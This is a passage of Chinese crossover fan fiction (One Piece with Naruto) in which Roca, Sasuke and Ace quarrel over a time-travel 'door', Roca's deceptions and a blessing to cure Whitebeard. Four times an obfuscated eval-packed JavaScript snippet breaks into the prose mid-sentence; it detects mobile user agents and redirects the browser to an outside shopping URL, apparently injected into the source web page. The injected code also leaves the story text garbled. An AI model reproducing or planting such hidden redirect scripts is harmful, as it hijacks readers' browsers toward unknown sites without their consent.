“是啊,这种欺上瞒下的招数,他们也不是第一次用了。”洛卡将那剪报撕碎,任它消散在风中,“无论私底下如何,表面上总得过得去。对外放出我已战死的消息,无非是向上面表忠心:无论我人在哪里、无论我是何光景,他们一定会找到我并且杀了我。这不是我的讣告,是我的通缉令啊——恐怕不止登了这一份报纸吧?” “如果他们杀不了你呢?” “杀不了我?”洛卡没忍住笑了好一阵,“那就找一具与我身形相近的女尸,将头发染成白色或者干脆烧了顶上去交差——最多再找几个海军上去顶罪,远贬、革职,再严重些不过也就是下狱杀头罢了,他们的行事作风向来如此。” “那这样来看,你短时间离不得这里了。”佐助往餐厅的方向看了一眼,好在里头的人注意力都在饭桌上,暂时没往这边看,“你重伤刚愈,还需要别人的保护吧。” 洛卡转过头去上上下下看了他好几遭,看得佐助浑身不自在:“是啊,无论如何至少最近我是得留在这里了——那你呢?要抛下你哥哥去哪里吗?” 佐助虽然对她的敏锐没有多意外,心下却还是一跳:“所以,你确实要留在这里?” 洛卡挑眉:“怎么,这有什么奇怪的……”她原来是想逗他两句的,话一出口却惊觉失言,“……啊。” 佐助眼底终于泛起一丝波澜,嘴角勾出一丝和洛卡相似的笑,似乎是在故意模仿她:“你曾对我哥哥说过,你非常想要离开这里,在误以为我哥哥体质特殊的时候还强拉他进过你那道【门】——怎么,现在你倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052216|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不着急了?” 洛卡沉默了一会儿,忽然笑出了声:“原来在这儿等着我呢。你和这些海贼混在一处过了这些年头,脑子还是如以前一般灵活啊。” 佐助皱了皱眉:她这是什么意思?果然她不仅了解哥哥,还认识以前的他吗? 他按住心下的焦虑,沉声道:“从你的行事来看,你的计划从一开始就是利用哥哥离开海军,只要救了哥哥,船上的其他人自然会拼上性命保护你。所以,在推进城时你拉着哥哥进你的魔法阵试图回到过去这一举动,应该确实是连你自己都没想到的意外。” 如果那时候真的成功地回到了那片森林,那她还会带着艾斯回来吗? 洛卡自己也回答不出这个问题,干脆将它抛在了脑后:“可惜他不是那个人,而你和他不一样,更不会老老实实配合我打开那道【门】了。” “即使如此,从刚才到现在你也太过气定神闲了。”佐助歪了歪头,看上去像是真的疑惑,“那么想要回家、为此不惜一度放弃复仇大计的人,现在我主动提起这件事,你倒像是完全忘了这回事似的——所以,你能如此镇定其实是因为你现在已经不需要我了吧?” 洛卡心下暗惊,表面上却不能露怯:“哪里,我现在正是需要佐助君的时候,可惜你不像你哥哥那般赤诚,对我始终如此防备生疏。再说了就算突然来求你,你也不会愿意,那还不如各自相安无事算了。” 佐助全凭自己的一身教养耐着性子听她说完:“虚伪的话不如少说两句。马林梵多上空的阵已经消失了,但魔力并未消散,其实是都回到你身上了吧?” 那阵破碎之时,他曾看到有几粒映射着阳光的碎片降落到洛卡附近的位置时忽然凝滞,被吸附进了她心脏的位置。 在洛卡昏迷的三天里,哥哥曾和他说起过,加西亚一族的禁术共有三处,若是马林梵多的禁术已经被她收回,那玛丽乔亚和推进城的禁术恐怕也是一样。那般磅礴的魔力,还不够催开一道门吗? 洛卡动作一顿,过了足有十几秒才醒过神来。她下意识地伸手摸了摸颈间的水晶球,脑中的念头转过好几遍,忽然双眸一亮,像是想到了什么好主意似的,拔脚就朝餐厅奔去。 佐助心中暗叫不好,以他的实力追上刚醒不久的洛卡当然不难,但她的动作太过突然,餐厅里已有不少人朝她看了过来,就算追到了,他要怎么和众人解释他这一大清早追着洛卡不放的缘由? 犹豫间洛卡已经猛地推开餐厅的大门,吸引了厅内所有人的注意;紧接着她像是累极了似的胸腔剧烈起伏了几息,这才惶急无措、满头大汗地抬起脸来,看向愣在大厅正中的艾斯: “佐、佐助打算一个人回到过去——他不愿拖累你们,他要一个人回去报仇!” 追到门口的佐助闻言身子一僵,额头上竟冒出些冷汗来:他差点忘了,洛卡就是靠这一套转头即变脸的精湛骗术,哄得他哥哥不顾一切带她离开了推进城。 25. 025 025 洛卡那句话说得不太明晰,在场大部分不知前情的人都没听懂她在说什么,艾斯却一下子听懂了,神情一下子严肃起来:“她说的是真的吗,佐助?” 马尔科站起身走到佐助跟前,温和地问道:“报仇是怎么回事?你找到你家里过去那些事的线索了?” 已被扶到餐桌旁坐下的洛卡竖起耳朵听着他们的对话,心中有些惊讶:怎么,原来佐助并不知道过去的真相吗? 佐助看着马尔科,说话时有些无措:“不是,我并没有这个意思……” 他神情有些慌张,心中却暗叫不好:怪不得洛卡明明能够飞行却非要跑到餐厅里来,短时间内的快速奔跑让她脸色苍白呼吸急促,于是她抬起头时的神情给她说的话增加了极高的可信度。眼下餐厅内所有人的注意力都转移到了他的身上,除了刚刚坐下的洛卡。 洛卡松了口气:总算从佐助的试探下脱身了。 那句话她没有说错,佐助特意挑了与她独处的时候说起这件事,很明显是为了打听独自离开此世的方法。虽然不知道佐助捏住了她的什么把柄才敢单独同她交涉,但是万一真被他套出话来导致他和他兄弟之间的关系产生裂痕更是不好收场,他自己的难题还是交给他自己去解决吧。 洛卡坐下来还没来得及把气喘匀,就听头顶响起了艾斯的声音:“洛卡,你怎么能笃定他要一个人离开此地回到过去?” 她浑身一僵。慌张之下又听他说道,“因为你确实已经想到了独自开启那道【门】、独自离开这里的方法,对不对?” * ——“我真不明白这么点破事为什么值得这么多人聚在一起开一天一夜的会。” 被关在餐厅门外的洛卡转头去问同样被关在餐厅门外的佐助,“话说他们自己关起门来开大会,把我俩关在甲板上他们就不怕我俩自己逃了吗?” 佐助一动不动地站在原地,眼睛一眨不眨地盯着餐厅内的众人,活像个穿了衣服的雕塑,只有海风一阵一阵地掀起佐助的额发和衣角让人感觉到这还是个活人:“……谁要跟你一起逃。” “啧。”洛卡原地伸了个懒腰,“这会议看起来一时半会结束不了,我先回去睡觉了。” “你不去跟哥哥解释吗?”佐助没有转头,“早上哥哥在餐厅里问你的那个问题,你还没有回答。” “……哦,所以这就是你抓到的我的把柄啊?”洛卡恍然大悟。 佐助目不斜视:“听不懂你在说什么。” “别装了,你就是打着如果我不告诉你独自开门的方法、你就把我已经掌握了独自开门的方法却瞒着艾斯的事告诉艾斯的主意对吧!” 佐助不语,像是默认了这段绕口令似的指控。 洛卡气得懒腰都不想伸了,十分扫兴地收回了伸长的手臂,想了想才道:“我婆婆的遗体已经化为魔力回到此世了。” “什么?” “所以对我来说如果要回去的话就产生一个新的难题——我是要回到婆婆过世之后、还是回到她过世之前呢?如果回到了她过世之前,我会不会忍不住把她带回来呢?” “……你是说能控制那道门开启之后对面的时间节点?” 佐助先是震惊了几秒,紧接着思索了一番,发现自己居然无法回答这个问题。 “如果把活着的婆婆带回来,那现在回到此世化为星辰的那个婆婆就会因悖论而坠毁,我大概会受到神罚吧?”洛卡抬头去看那片星空,“可是如果换作是你的话,佐助,你会不想再看一眼还活着的亲人吗?” 因为想不出这个问题的答案,所以反而暂时回不去吗? 佐助闭口不言。 “人拥有力量之后就会变得贪心。”洛卡叹了口气,“原先我力量有限,为族人报仇都需要依靠艾斯和他背后的海贼团才能勉强完成,可是现在收回了族人的魔力,甚至会生出回到过去拯救族人的念头呢。” “其实哥哥同我说过,如果没有你的话,或许他和船长已经死了。”佐助沉默了半天,忽然说起了另一件事,“虽然我觉得这件事可信度不高,但在推进城时你曾和他提过【剧情】已经变动了这种听起来很诡异的事,我哥哥对此似乎深信不疑。如果他们原先……真的会死的话,你救了他们不也算是逆天而行?” 洛卡走到他跟前,平静地注视他的眼睛,直到他受不了她的注视别开眼去:“你想问的其实是既然我能救了艾斯,那就也能去救我和你的族人是吗?” 佐助不语。 “他们的死本就漏洞百出,所以才能有机可乘。”洛卡转头,看了餐厅一眼,“且我遇到艾斯的时候他还没死,他的【死亡】并不属于既定事实,旁人譬如你和我还能干涉和改变。可是佐助,我们的族人死于多年之前,其中大部分人恐怕都尸骨无存了吧?若要改变他们的既定轨迹,首先就得回溯时光,神罚从回溯那一刻就会开始,光凭我们两个人,能撑得住成千上万条人命带来的天谴吗?” 佐助也笑了,说出的话虽是嘲讽,但声音里竟带着几分凄然:“你的神真是赏罚分明。” “但是从过去选几个特定的人还是能做到的。”洛卡柔声反驳,“我的神也并非冷酷无情。如果只是一到两个同我们关系紧密的特定的人,譬如我的婆婆、你的父母,相对而言神罚会轻很多,也不过就是被拿走一条手臂、被挖掉一只眼睛的程度,你觉得如何?” 佐助转头看她:“你确定只是一条手臂而已?” “从前我族犯下大忌,放弃了神谕中示下的辅佐、教导君主使其成为明君的任务,神收回了我们的魔力;后来族人以心脏献祭,终于使神回心转意,岛上出生了天生带有魔力的婴儿。所以只要我们付出一定的代价,神就会恩赏我们——神永远是公平的。” 佐助感到有哪里不对劲:“那不是和……你质问战国时说的一模一样吗?他在求贵族的恩赐,而你在求神的恩赐?” “是啊。”洛卡再次伸出手去抚摸了一遍颈间的水晶球,“以一生侍奉神明为代价获取这一身魔力,甚至死后都无法留存遗体,这本就是在出卖灵魂。可我还是要借这力量复仇,所以又献祭了我的心脏。” 幸运的是神没有拒绝她的请求,所以最后她还是活了下来。 而推翻君主这种事,不能由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052217|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受神恩赐的神使来做,所以身为神使末裔的洛卡想尽办法提示了战国,希望能由海军来完成此事。 佐助微惊:巫师一族死后竟连遗体都保不住?那数十年之后哥哥该怎么面对洛卡的死? “只救重要之人、不改变过去和未来,神也会对我们睁一只眼闭一只眼。”洛卡觉得有必要在事前就把一切说清楚,“也就是说,你救你父母的同时,要在明明能够干涉的情况下眼睁睁地看着你的其他族人就那样死去,不能做出任何改变。这很容易让人生出一种‘是我害死了他们’的错觉,后半生都活在痛苦之中。我确实有办法送你回去,但你一定要想清楚,你到底要回到哪个节点、你到底是要报仇还是要救人。” “……好。”佐助握住了拳又松开,如此往复几次,他的心境却还是没能平复,“谢谢你。” “真稀奇,我竟还能从你嘴里听到一句谢。”洛卡打了个哈欠,“要紧事说完了,我真回去睡觉了。” 佐助睨了她一眼:“你其实是害怕面对我哥哥吧?” “……”洛卡收回脚步:“你说什么?” “你那些想带婆婆回来之类的念头,都能告诉我却不肯告诉我哥哥,是因为那在你眼里其实是极其龌龊、极其阴暗的想法,你不希望哥哥知道这些,所以才想避开哥哥,拖到他自己忘记这回事为止。” 这笃定的语气几乎叫洛卡恼羞成怒:“你说谁龌龊,你说谁阴暗!那我问你,你又好到哪里去了?你为什么一大早一个人来找我旁敲侧击打听那【门】的事?你不也想抛下你哥哥一个人独自行动吗!左一句哥哥右一句哥哥弄得好像多听你哥话似的,其实心里的主意比谁都大!” 佐助被她这么一激,气得耳廓都有些发红:“利用了我哥哥又下意识对他感到愧疚的人是谁?” 洛卡不甘示弱地回敬:“因为抛弃哥哥的意图暴露被赶出门外的人是谁?” 佐助怒极反笑:“刚睡醒就又骗了我哥哥一次的人是谁?” 洛卡疑惑皱起眉:什么叫又骗了他哥哥一次? “喔你是说我跑进餐厅那一回?那能叫骗吗要不是我戳穿你的谎言你们兄弟俩还进行不了更进一步的交流沟通好不好!这事你还能赖到我头上你这人的良心简直是千疮百孔令人发指!” “我赖到你头上?”佐助的声音无意识拔高了三个度,“如果不是你对我哥哥心存愧疚那短短一句话又怎么能让你狂怒至此?” “哈!”洛卡也气得笑出了声,“好好好,我骗了他,那你又如何?他们赶你出来之前问你是不是有线索了打算如何报仇、为什么把他们排除在复仇计划之外你又是怎么回答的?你不也就像个木头一样杵在那里一句话都没说出来吗!” 佐助被气得哑口无言了几秒,就在二人的矛盾即将升级之时屋内有火光忽地亮起,紧接着一股暖橙色的火焰窜出门外挡在了两人中间,在二人怔愣之际那股火焰化成人形,伸出手来一边一个按住了两人的脑袋。 及时拦住了二人的艾斯惊得声音都拔高了八度:“让你们留在这里是让你们冷静一下好好思考接下来该怎么办,结果你俩怎么还打起来了?” 26. 026 026 洛卡和佐助被艾斯拎进餐厅后拉来两张椅子让两人坐下,一坐下两人几乎同时伸出手去抓住椅子外沿想要往外挪,还没挪多远艾斯就转过头来无奈地问道:“你们两个还是小孩子吗?” 洛卡悻悻地收回了手,试图岔开话题:“……你们这个会开了这么久,讨论出什么结果了吗?” 餐厅内坐着十几个人,白胡子团内的十几位队长大约都在其中。 左前方的一位站了起来,先朝洛卡微微欠身,才苦着脸说道:“洛卡小姐,听说你之前在老爹受伤时治好了他,实在是……非常感谢。” 洛卡瞧了他半天,终于认出来这是在船上刺伤了白胡子的斯库亚德:“噢原来是你啊!那其实没什么,主要是如果你们的父亲受了重伤对我来说也很麻烦,反正结果好就一切都好啦。” 斯库亚德没有坐下,他犹豫地扫了众人一眼,像是怕被谁打断似的语速突然快了起来:“但是事情结束后老爹的病似乎又严重了,洛卡小姐,你有什么办法治好他吗?你之前治好他的伤的时候,不是同时也治好过他的病吗?!” 马尔科皱眉,跟着站了起来:“这件事不是说好不提的吗?” 另有船员小声道:“让他问吧,我也想知道。” 艾斯垂眸,很快转身对洛卡说道:“如果你觉得为难可以不理会。” “倒也不为难。”洛卡摇摇头,“但是我得解释一下为什么顶上战争期间白胡子阁下的病情有所好转,战争结束后却又严重了——是因为我对他施加的祝福仅在顶上战争期间有效,现在他的病情看似是恶化,其实是祝福结束、他的健康程度降回至战争开始前的状态,仅此而已。” “……”斯库亚德愣了一下,还是没能死心,“那你刚才说不为难是指……?” “我是说我也可以对白胡子阁下施加长期、也就是永生的祝福……” 洛卡话未说完,艾斯直接打断:“等等!” 角落里有人下意识反问:“等什么?” 艾斯的神情有些凝重:“永生的祝福会削减洛卡的寿命,老爹真的能接受这样的方式吗?” 斯库亚德颓然地坐回椅子上。 洛卡安抚地拍了拍艾斯的肩膀,温和地打断了他的话:“也没什么不行的,之前是我施加的祝福太多才会被反噬。如果只有白胡子阁下一个人话我想应该还是没问题的。” 这句话让佐助暂时搁置了离她远些的想法:“什么意思?” 洛卡记仇地没理他:“祝福不等于疗愈,我族的疗愈一术已经失佚。如各位所见祝福一旦结束所有的糟事都会回到受术者身上,祝福的本质就像饮鸩止渴,改变不了任何事。” 她顿了顿,组织了一下语言,又道,“但是祝福分为两种,一种是短期的,也就是我曾对白胡子阁下施加的那种,是普通魔法,一般耗费不了多少魔力;另一种是永生之术,非常棘手和复杂,需要提前七天设立大阵,以受术者的心爱之物为祭,换得永生的能力,从此成为神使侍奉神明,理论上来讲可以获得与神相同的寿命——至于白胡子阁下的心爱之物,或许就是这艘船或者这艘船上的诸位吧?” 说到这里她嘟囔了一句,“其实还有更好的办法,可惜我的言灵术还没修炼到那份上……” 斯库亚德忽然激动起来:“我愿意成为老爹的祭品!” 其余成员接二连三地站起来:“我也愿意!” “等等,等等。”洛卡被他们吓了一跳,抹了一把额上的冷汗,“此术需要当事人的同意,白胡子阁下会同意你们当他的祭品吗?” 此话一出,周围忽然沉默下来。 “如果是用心爱之人为祭换得永生。”马尔科思索道,“这不就是一命换一命而已吗?” 洛卡苦笑:“正是如此。而且此术不以施术者的意志和生命为转移,即使我后悔甚至死了,不使用特殊手段也无法收回。之前受过祝福的天龙人中甚至有以亲子为祭的——因为他觉得自己即将获得永生,已经不需要后代了。” 说到这里她犹豫了一下,还是把最后一个副作用也如实相告,“还有一点,若是白胡子阁下真的同意我使用永生之术,那可能会产生一个情况——就是白胡子阁下的梦境、思想或许也会进入我的梦中。” 艾斯闻言略感心惊:“所以你之前睡眠一直不好,是因为那些贵族的所思所想经常出现在你的梦里?” 洛卡点点头:“这概率其实并不高,只是天龙人之中用过此术的人多了,我才会几乎天天梦到那些东西。不过白胡子阁下显然是一位心胸开阔、向往自由的人,即使入梦应该也不会是噩梦吧?所以我才说只有白胡子阁下一个人的话应该没有关系。” 似乎是觉得此术实在邪门,斯库亚德吞了口唾沫,试探着问道:“那如果不是永生,只是五年、十年这样呢?会太麻烦你吗?” “没有问题,而且这是普通术式,也没什么太大的副作用。”洛卡无意识地抚摸了一遍自己的魔杖,“只不过五年、十年也还是有些长,这期间如果我遇到了什么事——譬如不慎被海军灭口了,那祝福就会立刻失效,他的病魔也会回到他的身上。” “换言之。”以藏看向洛卡,“只要你还活着,他就会一直活着。而且不同于永生之术,如果是加上时限的普通祝福,你甚至可以不问他本人的意愿直接施加到他身上?” 洛卡想了想:“确实可以这么说。”她扫了一眼不知为何再次沉默下来的众人,从椅子上站了起来,“你们这态度是都同意了吗?那我现在开始施术咯?” “等一等。”以藏站了起来,“我要去征询他的意见,抱歉,请你在此稍待。” 于是洛卡又百无聊赖地坐了回去,抱着魔杖不满地嘟囔了一句:“我还以为能就这么放过我了呢……” 艾斯有些好笑:“当着这么多人的面你也想耍赖吗?” 佐助已将头转了回去,用一种足以让艾斯听见的音量目不斜视道:“放过你好叫你回去仔细思考怎么通过牺牲自己身上哪个部位的方式救回已逝之人吗?” 洛卡一呆,震惊地转过头去看了佐助半晌,本想质问他一句怎么能丧尽天良到前后半小时不到就把她卖了,完全忘了不久之前她也出卖过佐助的事实;但是话到嘴边她忽然眼珠子一转计上心头:“……佐助,我理解你失去族人长期压抑的心情,但是再怎么伤心都不能把自己的想法强加在别人的身上……啊!” 她忽然短促地惊叫一声,吸引来所有人的注意之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052218|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关切地将自己的掌心贴在了佐助的额头上,“该不会是病入膏肓精神错乱了吧?” 佐助触电般后退数米,身后的椅子被他慌乱间踹歪在地但他也无暇顾及:“……别妄想再对我用言灵术!” “你怎么会这么想呢佐助?”洛卡既惊讶又伤心地后退半步,“我只是关心你呀?” 佐助还没想出应对之法,马尔科已经赶到他身边:“佐助,你身体不舒服吗?让我看看。” 已经摆出战斗态势的佐助不得不把杀气收了回去:“不是的,是她胡乱诬陷,我真的没病。” “……噗。” 洛卡实在没忍住笑出了声,又觉得这时候笑出来实在不好,下意识地往艾斯身后躲了躲——却没躲成,艾斯肩膀一偏,竟然避过了她。 洛卡这下是真的惊讶了,抬头一看才发现眼下艾斯面上一丝笑意也无,很显然是没被她刚才那个谎言蒙骗过去。 她有些心惊肉跳:怎么艾斯已经被她骗出抗性了吗?现在逃走还来得及吗? 洛卡转过身,原本一脸怒意的佐助现在被带到一个角落里老老实实地接受马尔科的治疗;刚才以藏离开时没有把门关严,大门口此时虚掩着一条缝。 要逃走的话现在就是最好的时机! “你想去哪?” 艾斯从她身后伸长手臂一把揽住她的肩膀,“撒谎没成功第一反应就是逃吗?” 洛卡虚张声势地辩解了一句:“谁说的?那佐助不就着了我的道吗?” 佐助愠怒的声音自角落里传来:“胡言乱语!谁着了你的道?” 艾斯还想说些什么,却忽然像是感知到了什么似的,抬头看向门口。 洛卡莫名其妙地顺着他的目光看去,只听一阵木制滚轮的响动由远及近,紧接着餐厅的大门被一股劲风荡开翻进门内,金属合页咔嗒咔嗒尽数碎裂;紧接着一个高大的、一座山似的身影迎着夜色出现在门口,他的轮椅周围似乎还跟着不少人,洛卡一时没有看清。 “怎么,这大半夜的吵嚷些什么!”话是这么说,白胡子的声音里倒听不出任何怒意,“是谁想用那些奇妙的术法替我治病?” 洛卡顶着艾斯审视的目光以及在这审视之下憋出来的一脑门冷汗朝门口的方向迈了两步:反正逃跑是没指望了,不如顺势借白胡子阁下脱身。 然而此时斯库亚德又站了出来,几步跨到门前:“是我。” 洛卡惊奇地望着这个半路杀出的程咬金:今天到底为何事事不顺?是她幼时占卜一途修得太不认真导致今天连为自己算个吉凶都做不到吗? 唉,小时候应该听从长辈劝告认真读书才是啊。 斯库亚德说完,屋内又接连站出不少人来:“是我,老爹。” “也有我。” “老爹,这事不是洛卡小姐的主张,请不要怪她。” 洛卡转头粗略一看,竟有半数之多,这下她进也不是退也不是,直接尬在了原地。 白胡子大笑起来——他此刻还坐在轮椅上,左手臂上挂着小指粗的软管,但那笑声依旧中气十足:“将自己的性命托付到同伴手里这种事只能发生在战场之上,如果仅为了苟活而屈从现实,那我们这些人还能被称为为自由而生的海贼吗!” 27. 027 027 走出餐厅之后洛卡抬头盯着夜空中的繁星盯了半天:“……说到底这个会议到底是为了什么而召开的啊?” 佐助的声音幽幽地在她身后响起:“恐怕是为了批判一番你或者我正暗中酝酿的隐瞒所有人独自脱离此世的危险计划、同时围绕此事展开商讨对策。” “……别说得好像那种正在计划毁灭世界的大反派一样好吗?”洛卡瞪了他一眼,“而且从结果上来说这个问题不也没有解决吗?最后就是大家莫名其妙被船长训了一顿之后就解散了哎?” 佐助难得噎了噎,双目奇妙地游移了一下:“……能蒙混过去算你运气好。” “你不也蒙混过去了吗!”洛卡惊讶地瞪大眼睛,“所以你也在等着大家都忘记这件事对吧?那你还眼睛都不眨地就这么把我出卖给艾斯……” 话音未落她就看到艾斯从门后走了出来,原本拔高八度的声线一下子弱了下去,把剩下指责佐助的话全吞回喉咙里之后不甘心地跺了跺脚,迅速转过身一溜烟跑回了自己的单人间。 艾斯看着她略显狼狈的背影,想到了一件和眼下的情况完全无关的事:“她到了船上之后就不经常飞行了,是因为没有扫帚的缘故吧?” “今天早上为了看哥哥给她布置的炼药房飞过一次。”佐助好心地提醒道,“或许还是哥哥亲自为她介绍比较好吧?我指给她看的时候她兴致不是很高的样子。” 艾斯朝二楼的炼药房看了一眼:“我把那房间布置成了在她的记忆里看到过的她婆婆的炼药房的样子,但她婆婆很早就过世了。”说着他拍了拍佐助的肩膀,“她兴致不高应该是因为这个。” “……”佐助微惊,“哥哥你竟然还看过她的记忆……?” “是啊,主要是在她搭建的幻境里修行的时候。”艾斯回忆起这些的时候嘴角还挂着一丝温和的笑,“所以你们俩谈得怎么样了?差不多该放弃一个人离开此世的想法了吧?” 这下佐助也有些想逃了:“……抱歉,哥哥。” “这不是该道歉的事。”艾斯的神情里没有丝毫责怪的意思,“只是你行动之前就把我们全都排除在外的话,我多少会有些伤心呢。” 先前营救艾斯时佐助也是没听白胡子的警告擅自跑出去的,好在潜入马林梵多时没出什么大事。 “不过,这件事当中也有我的错。”艾斯长出一口气,“当时去追蒂奇我也没听老爹的话,连累你差点跟我一道被海军抓了。” 如今想起来,一切都像梦一样。 “哥哥没有错。”佐助说话时下意识地挺了挺脊背,像是在坚持什么似的,“全是那个蒂奇的错!” “多谢你了,佐助,没有你跟着的话当初我也杀不了蒂奇。”艾斯对他这突如其来的恼怒其实颇有几分感激,“……只是不知道为什么你和洛卡的关系竟然会如此恶劣。“艾斯困惑地歪了歪脑袋,“我知道你心里着急。我被她误会成她的同类那一次进过她那道门,至少双门相振这一方式不会对进门的人造成伤害。” 佐助却觉得疑惑:“如果一定要两道门相撞才能开一条缝,那哥哥身上并没有那道门,她那条缝是怎么开启的?” 艾斯叹了口气:“她说我可能是那种体质……但具体怎样我也不知道。” 但在以为能回到过去时,她面上那由衷的高兴不似作伪。那一次她一定没有骗人。 “哥哥现在已经不会被她骗到了吗?”佐助有些担忧,“万一她又骗哥哥怎么办……其实这次我当众戳穿她也是因为……” “因为不想我误会她是吗?我明白的,佐助。”艾斯这么说着,眼底却一派平静,不见任何烦恼之色,“她发挥不错的时候骗术还挺像模像样的,其实我也没有每一次都能看穿她的把握。或许是她在海军内部待了实在太久,一直用这种方式保护自己,现在才一时没能扭转过来,等她习惯了这里就好了。” 佐助点了点头:希望如此吧。 “对了哥哥。”他犹豫了一番,还是把藏在心底的那件事说了出来,“洛卡她……似乎认识我的万花筒。” * 第二天清晨艾斯端着一份早餐敲响了洛卡的房间门,敲了三回叫了三遍,里头的人才慢吞吞地转开门把手:“……有什么事?” 她说话时低垂着眼睑,罕见地没有抬头与他对视。 “虽然最后还是没用到你的术,但是大家还是让我过来谢谢你。”艾斯见她这模样反而有些好笑,“还在狱中的时候,你骗我时可没有任何犹豫、事后也不见有任何愧疚。” 洛卡这才抬头瞪了他一眼,接过早餐伸出脚尖猛地踢上了门,叫艾斯猝不及防地吃了一鼻子灰。 然而或许是因为房里的人也觉得自己这样有些过分,没过一会儿那扇门又缓缓地无风自开了。 艾斯十分自然地跨步进屋,拉开椅子坐在了洛卡的对面。 似乎是很不想同他说话,洛卡一见他就加快了往嘴里塞早饭的速度,艾斯看着她欲言又止了好几次,正想给她倒杯水来的时候忽听洛卡的声音脆生生地响起:“你是为了佐助的事来的吧?” 她说得太快差点被培根呛住,但想着艾斯还在眼前,梗着脖子涨红了脸硬是让她憋住了,没呛出声来。 “我再不来,怕你要被佐助拐走了。”艾斯还是起身给她倒了杯水,“他到现在都还想一个人冲回去杀光他那些灭族仇人呢。” 洛卡气得放下了叉子:“凭什么是他拐我不是我拐他?” 艾斯真是被他俩这莫名其妙的胜负欲闹得没脾气了:“这是重点吗?你们俩到底在跟对方生什么气啊?” 他把水杯放在她手边,十分疑惑地回忆道,“在战场上的时候他不是挺听你的话吗?” “那是为了救你。”洛卡白了他一眼,“现在你好好地坐在这里,情况自然与之前不同了。” “说起这件事,我也想问你。”这次艾斯选了个离她更近的位置坐了下来,“昨晚你为什么想要骗人呢?” 他冷不丁提起这事,洛卡反倒不敢答了,又拿起叉子低头扒拉起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052219|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘子里的鸡蛋来。 “你自己也不知道为什么要撒谎吗?”艾斯对自己的发现感到十分惊奇,“你还记得你是什么时候决定撒谎的吗?是佐助拆穿你的时候——这事他也有错,我已经找他谈过了。但为什么他拆穿了你你就要撒谎呢?” 洛卡捏紧了叉子不说话。 “洛卡,你很不安吗?”艾斯伸手摸了摸他的脑袋,“在这里的人大多都有一个不好的出身,所以不会有人介意你的过去。你上船了就是白胡子海贼团的人,也不会因为一两句顽话就被赶走。” “……哪怕我和佐助密谋私下离开这里?” “这不是没成功吗?”艾斯笑道,“你既然已经掌握独自离开的方法,却迟迟没有行动,说明你还没有想好到底要不要救你婆婆——或者说,你也不确定她到底需不需要你救。” 洛卡手里的叉子哐当一声摔在了餐盘上:“那……对于这事,佐助又是怎么说呢?” 不等艾斯回答她突然又说道,“……算了。改变未来和改变过去不是一回事。请你忠告佐助,人在改变既定过去的时候,只要改变了一点点,就会忍不住想要改变更多。到时候他要付出的代价可就不止一只眼睛或者一条手臂了。” 譬如她救了艾斯,就会忍不住去设想救下婆婆的场景;如果真的成功救下了婆婆,她会不会又想要回去救她的族人? “有些东西如果只会助长人的贪欲,还是一开始就不碰为好。”洛卡叹了一口长气,“我们为神献出一切,神也实在……赏赐了我们太多的东西。” 艾斯神情肃然地听了半天:“这么说,你心中已经有了决断?” “昨晚白胡子阁下不是说了吗?”洛卡说话时带着难以抑制的颤音,“如果仅仅为了苟活而屈从现实……” 那她的族人从一开始就不会叛出玛丽乔亚。 “谢谢你。”艾斯上前抱住她,吓得她在他怀中缩了缩肩膀,“谢谢你没有一开始就答应佐助,给了他充足思考的时间。” “我不答应他,还有一个原因。”洛卡努力平复了一下自己的情绪,“就像很久之前就认识你一样,我也早就认识宇智波佐助。” 艾斯身体一僵,说话时语气却并不意外:“果然……” “他也是一个命途多舛的倒霉蛋。先是整个家族因争权失败被边缘化,边缘化还不够,紧接着就是全族被灭,他又在小小年纪得知灭族的凶手是他向来敬爱的亲生哥哥。”洛卡歪了歪脑袋,“不过他现在遇到了你,或许他那个世界里也有很多事都已经被改变了。” “无论如何改变,他的那些灭族仇人总归还在那里。”艾斯抬起头来,眼中燃起几分雪亮的杀意,“宇智波一族数百号人一夜之间便被屠戮殆尽,不可能是他那当时才十三岁的兄长一人所为。” “这事倒确有蹊跷。”洛卡安抚性地拍了拍他的背,“不过现在的当务之急是让他知道灭族的真相,以便安排下一步的计划。” 